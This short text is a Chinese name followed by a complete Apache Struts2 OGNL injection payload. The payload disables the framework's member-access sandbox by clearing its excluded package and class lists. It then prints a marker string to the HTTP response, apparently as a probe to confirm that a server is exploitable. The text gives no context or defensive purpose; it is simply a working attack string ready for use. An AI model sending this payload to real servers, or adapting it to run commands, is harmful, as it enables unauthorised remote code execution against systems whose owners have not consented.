汉斯希尔
%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#a='varwerlklxyfszinijtbhvpbzwmqmu').(#out.println(#a+#a)).(#out.close())}